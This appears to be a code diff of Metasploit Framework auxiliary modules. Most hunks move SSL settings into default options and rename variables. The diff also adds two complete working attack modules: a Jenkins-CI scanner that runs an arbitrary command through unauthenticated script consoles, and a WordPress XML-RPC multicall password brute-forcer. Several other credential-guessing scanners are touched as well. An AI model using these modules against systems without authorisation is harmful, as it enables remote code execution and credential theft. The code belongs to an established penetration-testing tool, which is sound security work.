||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -21,7 +21,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
a specified Virtual Machine.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -31,8 +32,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptString.new('VM', [true, "The VM to try to Power On"])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -22,7 +22,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
logging a user event with user supplied text
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -33,8 +34,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('VM', [true, "The VM to try to Power On"]),
|
||||
OptString.new('MSG', [true, "The message to put in the log", 'Pwned by Metasploit'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -20,7 +20,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This module will log into the Web API of VMWare and try to terminate
|
||||
user login sessions as specified by the session keys.},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -30,8 +31,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptString.new('KEYS', [true, "The session key to terminate"])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -32,14 +32,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSLVersion' => 'TLS1'
|
||||
'SSLVersion' => 'TLS1',
|
||||
'SSL' => true
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]),
|
||||
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
|
||||
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
|
||||
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
|
||||
], self.class)
|
||||
|
|
|
@ -22,12 +22,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Deral "Percentx" Heiland',
|
||||
'Pete "Bokojan" Arzamendi'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => false }
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptString.new('PASSWORD', [true, 'Password to access administrative interface. Defaults to 1111', '1111']),
|
||||
OptPort.new('RPORT', [true, 'The target port on the remote printer. Defaults to 80', 80]),
|
||||
OptInt.new('TIMEOUT', [true, 'Timeout for printer connection probe.', 20]),
|
||||
|
|
|
@ -26,15 +26,18 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'SSLVersion' => 'TLS1'
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']),
|
||||
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]),
|
||||
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
|
|
@ -24,13 +24,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
'Jonathan Claudius <jclaudius[at]trustwave.com>',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
|
||||
OptString.new('USERNAME', [true, "A specific username to authenticate as", 'cisco']),
|
||||
OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'cisco'])
|
||||
], self.class)
|
||||
|
|
|
@ -24,13 +24,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
|
||||
OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
|
||||
OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])
|
||||
], self.class)
|
||||
|
|
|
@ -208,22 +208,22 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
post_params['group_list'] = group unless group.empty?
|
||||
|
||||
resp = send_request_cgi(
|
||||
'uri' => '/+webvpn+/index.html',
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => post_params
|
||||
)
|
||||
res = send_request_cgi(
|
||||
'uri' => '/+webvpn+/index.html',
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => post_params
|
||||
)
|
||||
|
||||
if resp &&
|
||||
resp.code == 200 &&
|
||||
resp.body.match(/SSL VPN Service/) &&
|
||||
resp.body.match(/webvpn_logout/i)
|
||||
if res &&
|
||||
res.code == 200 &&
|
||||
res.body.match(/SSL VPN Service/) &&
|
||||
res.body.match(/webvpn_logout/i)
|
||||
|
||||
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
|
||||
|
||||
do_logout(resp.get_cookies)
|
||||
do_logout(res.get_cookies)
|
||||
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
|
||||
report_note(ip: rhost, type: 'cisco.cred.group', data: "User: #{user} / Group: #{group}")
|
||||
|
|
|
@ -30,13 +30,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
['URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa'],
|
||||
['URL', 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt']
|
||||
],
|
||||
'DisclosureDate' => 'Apr 09 2014'
|
||||
'DisclosureDate' => 'Apr 09 2014',
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
|
||||
OptString.new('USERNAME', [true, "A specific username to authenticate as", 'clientless']),
|
||||
OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'clientless']),
|
||||
OptString.new('GROUP', [true, "A specific VPN group to use", 'clientless']),
|
||||
|
|
|
@ -42,8 +42,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# There is no TARGETURI because when Glassfish is installed, the path is /
|
||||
Opt::RPORT(4848),
|
||||
OptString.new('USERNAME',[true, 'A specific username to authenticate as','admin']),
|
||||
OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
|
|
@ -12,16 +12,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'HTTP Strict Transport Security (HSTS) Detection',
|
||||
'Description' => %q{
|
||||
'Name' => 'HTTP Strict Transport Security (HSTS) Detection',
|
||||
'Description' => %q{
|
||||
Display HTTP Strict Transport Security (HSTS) information about each system.
|
||||
},
|
||||
'Author' => 'Matt "hostess" Andreko <mandreko[at]accuvant.com>',
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => 'Matt "hostess" Andreko <mandreko[at]accuvant.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]),
|
||||
Opt::RPORT(443)
|
||||
])
|
||||
end
|
||||
|
|
|
@ -82,8 +82,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
# Avoids writing to datastore['METHOD'] directly
|
||||
def method
|
||||
@method || datastore['METHOD']
|
||||
def http_method
|
||||
@http_method || datastore['METHOD']
|
||||
end
|
||||
|
||||
# Avoids writing to datastore['DATA'] directly
|
||||
|
@ -136,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def ini_request(uri)
|
||||
req = {}
|
||||
|
||||
case method
|
||||
case http_method
|
||||
when 'GET'
|
||||
# Example: Say we have the following datastore['PATH']
|
||||
# '/test.php?page=1&id=3¬e=whatever'
|
||||
|
@ -162,7 +162,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
this_path = uri
|
||||
end
|
||||
|
||||
req['method'] = method
|
||||
req['method'] = http_method
|
||||
req['uri'] = this_path
|
||||
req['headers'] = {'Cookie'=>datastore['COOKIE']} if not datastore['COOKIE'].empty?
|
||||
req['data'] = data if not data.empty?
|
||||
|
@ -225,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:proof => trigger,
|
||||
:name => self.fullname,
|
||||
:category => "web",
|
||||
:method => method
|
||||
:method => http_method
|
||||
})
|
||||
|
||||
else
|
||||
|
@ -289,9 +289,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
#
|
||||
def is_writable(trigger)
|
||||
# Modify some registered options for the PUT method
|
||||
tmp_method = method
|
||||
tmp_method = http_method
|
||||
tmp_data = data
|
||||
@method = 'PUT'
|
||||
@http_method = 'PUT'
|
||||
|
||||
if data.empty?
|
||||
unique_str = Rex::Text.rand_text_alpha(4) * 4
|
||||
|
@ -310,7 +310,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
send_request_cgi(req, 25)
|
||||
|
||||
# Prepare request to read our file
|
||||
@method = 'GET'
|
||||
@http_method = 'GET'
|
||||
@data = tmp_data
|
||||
req = ini_request(uri)
|
||||
vprint_status("Verifying upload...")
|
||||
|
@ -324,7 +324,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
# Ah, don't forget to restore our method
|
||||
@method = tmp_method
|
||||
@http_method = tmp_method
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -337,8 +337,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def run_host(ip)
|
||||
# Warn if it's not a well-formed UPPERCASE method
|
||||
if method !~ /^[A-Z]+$/
|
||||
print_warning("HTTP method #{method} is not Apache-compliant. Try only UPPERCASE letters.")
|
||||
if http_method !~ /^[A-Z]+$/
|
||||
print_warning("HTTP method #{http_method} is not Apache-compliant. Try only UPPERCASE letters.")
|
||||
end
|
||||
print_status("Running action: #{action.name}...")
|
||||
|
||||
|
|
|
@ -24,13 +24,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]),
|
||||
OptString.new('TARGETURI', [true, "URI for Web login. Default: /VPortal/mgtconsole/CheckPassword.jsp", "/VPortal/mgtconsole/CheckPassword.jsp"])
|
||||
], self.class)
|
||||
end
|
||||
|
|
|
@ -0,0 +1,143 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/proto/http'
|
||||
require 'msf/core'
|
||||
require 'cgi'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Jenkins-CI Unauthenticated Script-Console Scanner',
|
||||
'Description' => %q{
|
||||
This module scans for unauthenticated Jenkins-CI script consoles and
|
||||
executes the specified command.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'altonjx',
|
||||
'Jeffrey Cap'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'],
|
||||
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'],
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]),
|
||||
OptString.new('COMMAND', [ true, 'Command to run in application', 'whoami' ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def fingerprint_os(ip)
|
||||
res = send_request_cgi({'uri' => normalize_uri(target_uri.path,"systemInfo")})
|
||||
|
||||
# Verify that we received a proper systemInfo response
|
||||
unless res && res.body.to_s.length > 0
|
||||
vprint_error("#{peer} - The server did not reply to our systemInfo request")
|
||||
return
|
||||
end
|
||||
|
||||
unless res.body.index("System Properties") &&
|
||||
res.body.index("Environment Variables")
|
||||
if res.body.index('Remember me on this computer')
|
||||
vprint_error("#{peer} This Jenkins-CI system requires authentication")
|
||||
else
|
||||
vprint_error("#{peer} This system is not running Jenkins-CI at #{datastore['TARGETURI']}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
host_info = {}
|
||||
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
|
||||
print_status("#{peer} Using CSRF token: '#{$1}'")
|
||||
host_info[:crumb] = $1
|
||||
|
||||
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
|
||||
host_info[:cookie] = "#{sessionid}"
|
||||
end
|
||||
|
||||
os_info = pattern_extract(/os.name(.*?)os.version/m, res.body).first
|
||||
host_info[:prefix] = os_info.index(">Windows") ? "cmd.exe /c " : ""
|
||||
host_info
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
command = datastore['COMMAND'].gsub("\\", "\\\\\\")
|
||||
|
||||
host_info = fingerprint_os(ip)
|
||||
return if host_info.nil?
|
||||
prefix = host_info[:prefix]
|
||||
|
||||
request_parameters = {
|
||||
'uri' => normalize_uri(target_uri.path,"script"),
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' =>
|
||||
{
|
||||
'script' => "def sout = new StringBuffer(), serr = new StringBuffer()\r\ndef proc = '#{prefix} #{command}'.execute()\r\nproc.consumeProcessOutput(sout, serr)\r\nproc.waitForOrKill(1000)\r\nprintln \"out> $sout err> $serr\"\r\n",
|
||||
'Submit' => 'Run'
|
||||
}
|
||||
}
|
||||
request_parameters['cookie'] = host_info[:cookie] unless host_info[:cookie].nil?
|
||||
request_parameters['vars_post']['.crumb'] = host_info[:crumb] unless host_info[:crumb].nil?
|
||||
res = send_request_cgi(request_parameters)
|
||||
|
||||
unless res && res.body.to_s.length > 0
|
||||
vprint_error("#{peer} No response received from the server.")
|
||||
return
|
||||
end
|
||||
|
||||
plugin_output, command_output = pattern_extract(/<pre>(.*?)<\/pre>/m, res.body.to_s)
|
||||
|
||||
if plugin_output !~ /Jenkins\.instance\.pluginManager\.plugins/
|
||||
vprint_error("#{peer} The server returned an invalid response.")
|
||||
return
|
||||
end
|
||||
|
||||
# The output is double-HTML encoded
|
||||
output = CGI.unescapeHTML(CGI.unescapeHTML(command_output.to_s)).
|
||||
gsub(/\s*(out|err)>\s*/m, '').
|
||||
strip
|
||||
|
||||
if output =~ /^java\.[a-zA-Z\.]+\:\s*([^\n]+)\n/
|
||||
output = $1
|
||||
print_good("#{peer} The server is vulnerable, but the command failed: #{output}")
|
||||
else
|
||||
output.split("\n").each do |line|
|
||||
print_good("#{peer} #{line.strip}")
|
||||
end
|
||||
end
|
||||
|
||||
report_vulnerable(output)
|
||||
|
||||
end
|
||||
|
||||
def pattern_extract(pattern, buffer)
|
||||
buffer.to_s.scan(pattern).map{ |m| m.first }
|
||||
end
|
||||
|
||||
def report_vulnerable(result)
|
||||
report_vuln(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:sname => ssl ? 'https' : 'http',
|
||||
:name => self.name,
|
||||
:info => result,
|
||||
:refs => self.references,
|
||||
:exploited_at => Time.now.utc
|
||||
)
|
||||
end
|
||||
end
|
|
@ -19,9 +19,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Jenkins Enumeration',
|
||||
'Name' => 'Jenkins-CI Enumeration',
|
||||
'Description' => %q{
|
||||
This module enumerates a remote Jenkins installation in an unauthenticated manner, including
|
||||
This module enumerates a remote Jenkins-CI installation in an unauthenticated manner, including
|
||||
host operating system and and Jenkins installation details.
|
||||
},
|
||||
'Author' => 'Jeff McCutchan',
|
||||
|
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/"]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,137 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/wordpress_multicall'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wordpress XML-RPC system.multicall Credential Collector',
|
||||
'Description' => %q{
|
||||
This module attempts to find Wordpress credentials by abusing the XMLRPC
|
||||
APIs. Wordpress versions prior to 4.4.1 are suitable for this type of
|
||||
technique. For newer versions, the script will drop the CHUNKSIZE to 1 automatically.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'KingSabri <King.Sabri[at]gmail.com>' ,
|
||||
'William <WCoppola[at]Lares.com>',
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ],
|
||||
['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"),
|
||||
'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]),
|
||||
OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]),
|
||||
], self.class)
|
||||
|
||||
# Not supporting these options, because we are not actually letting the API to process the
|
||||
# password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC.
|
||||
deregister_options(
|
||||
'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS'
|
||||
)
|
||||
end
|
||||
|
||||
def passwords
|
||||
File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp}
|
||||
end
|
||||
|
||||
def check_options
|
||||
if datastore['CHUNKSIZE'] > 1700
|
||||
fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700')
|
||||
end
|
||||
end
|
||||
|
||||
def setup
|
||||
check_options
|
||||
end
|
||||
|
||||
def check_setup
|
||||
version = wordpress_version
|
||||
vprint_status("Found Wordpress version: #{version}")
|
||||
|
||||
if !wordpress_and_online?
|
||||
print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)")
|
||||
false
|
||||
elsif !wordpress_xmlrpc_enabled?
|
||||
print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC")
|
||||
false
|
||||
elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1')
|
||||
print_error("#{peer}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.")
|
||||
vprint_status("Dropping CHUNKSIZE from #{datastore['CHUNKSIZE']} to 1")
|
||||
datastore['CHUNKSIZE'] = 1
|
||||
true
|
||||
else
|
||||
print_status("Target #{peer} is running Wordpress")
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
if check_setup
|
||||
print_status("XMLRPC enabled, Hello message received!")
|
||||
else
|
||||
print_error("Abborting the attack.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Starting XML-RPC login sweep...")
|
||||
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: true,
|
||||
user_file: datastore['USER_FILE'],
|
||||
username: datastore['USERNAME']
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::WordpressMulticall.new(
|
||||
configure_http_login_scanner(
|
||||
passwords: passwords,
|
||||
chunk_size: datastore['CHUNKSIZE'],
|
||||
block_wait: datastore['BLOCKEDWAIT'],
|
||||
base_uri: target_uri.path,
|
||||
uri: wordpress_url_xmlrpc,
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -33,8 +33,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Zabbix server application', '/zabbix/']),
|
||||
OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
|
|
@ -21,7 +21,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
web interface using a specific user/pass.
|
||||
},
|
||||
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -30,7 +31,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('URILOGIN', [true, "URI for Metasploit Web login. Default is /login", "/login"]),
|
||||
OptString.new('URIGUESS', [true, "URI for Metasploit Web login. Default is /user_sessions", "/user_sessions"]),
|
||||
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
|
||||
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
|
||||
], self.class)
|
||||
|
||||
register_autofilter_ports([55553])
|
||||
|
|
|
@ -3,7 +3,6 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/mssql'
|
||||
|
@ -32,6 +31,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def run_host(ip)
|
||||
print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.")
|
||||
|
||||
if datastore['TDSENCRYPTION']
|
||||
print_status("Manually enabled TLS/SSL to encrypt TDS payloads.")
|
||||
end
|
||||
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
|
@ -56,6 +59,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
max_send_size: datastore['TCP::max_send_size'],
|
||||
send_delay: datastore['TCP::send_delay'],
|
||||
windows_authentication: datastore['USE_WINDOWS_AUTHENT'],
|
||||
tdsencryption: datastore['TDSENCRYPTION'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
ssl: datastore['SSL'],
|
||||
|
|
|
@ -21,14 +21,17 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This module will attempt to authenticate to a Nessus server RPC interface.
|
||||
},
|
||||
'Author' => [ 'void_in' ],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'SSLVersion' => 'TLS1'
|
||||
}
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8834),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Nessus server login API', '/session']),
|
||||
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]),
|
||||
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
|
|
@ -24,7 +24,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
specific user/pass.
|
||||
},
|
||||
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -33,11 +34,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('URI', [true, "URI for Nessus XMLRPC login. Default is /login", "/login"]),
|
||||
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
|
|
@ -23,7 +23,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
for Nessus XMLRPC interface.'
|
||||
},
|
||||
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -32,11 +33,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptInt.new('THREADS', [true, "The number of concurrent threads", 25]),
|
||||
OptString.new('URI', [true, "URI for Nessus XMLRPC. Default is /", "/"])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
|
|
@ -24,7 +24,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
specific user/pass.
|
||||
},
|
||||
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
